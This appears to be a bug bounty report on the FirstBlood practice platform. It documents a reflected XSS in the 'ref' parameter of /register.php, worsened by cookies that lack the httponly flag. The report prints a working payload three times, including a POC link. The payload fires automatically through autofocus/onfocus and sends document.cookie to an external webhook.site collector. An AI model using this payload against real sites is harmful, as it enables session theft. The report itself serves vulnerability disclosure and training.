FirstBlood-#268Reflected XSS on register page
This issue was discovered on FirstBlood v1.0.0



On 2021-05-15, pichik Level 5 reported:

Description

Hi,
i found that parameter ref, which is used for redirecting after logout as an doctor in /drpanel/logout.php, can be used in /register.php as well.
However here it is used through javascript in <a href element and is vulnerable to XSS.
Also found that cookies are missing httponly attribute, thus they can be accessed via javascript.
This two vulnerabities combined together can be used to steal cookies.

In this payload I used simple GET request:

var xhttp = new XMLHttpRequest();
xhttp.open("GET","https://webhook.site/[your_id]?cookie="+document.cookie);
xhttp.send();

In <a href element we can use autofocus and onfocus to run script without user interaction.

Here is full payload:
ref=' autofocus onfocus='javascript:var xhttp = new XMLHttpRequest();xhttp.open("GET","https://webhook.site/[your_id]?cookie="+document.cookie);xhttp.send();'id='1

POC link:

http://firstbloodhackers.com/register.php?ref=' autofocus onfocus='javascript:var xhttp = new XMLHttpRequest();xhttp.open("GET","https://webhook.site/[your_id]?cookie="+document.cookie);xhttp.send();'id='1

Impact

An attacker can execute arbitrary javascript and steal cookies from doctors

P3 Medium

Endpoint: /register.php

Parameter: ref

Payload: ' autofocus onfocus='javascript:var xhttp = new XMLHttpRequest();xhttp.open("GET","https://webhook.site/[your_id]?cookie="+document.cookie);xhttp.send();'id='1


FirstBlood ID: 4
Vulnerability Type: Reflective XSS

The parameter "ref" is vulnerable to XSS on register.php. The developer made use of htmlentities but this is inadequate as the HREF is wrapped in single quotes.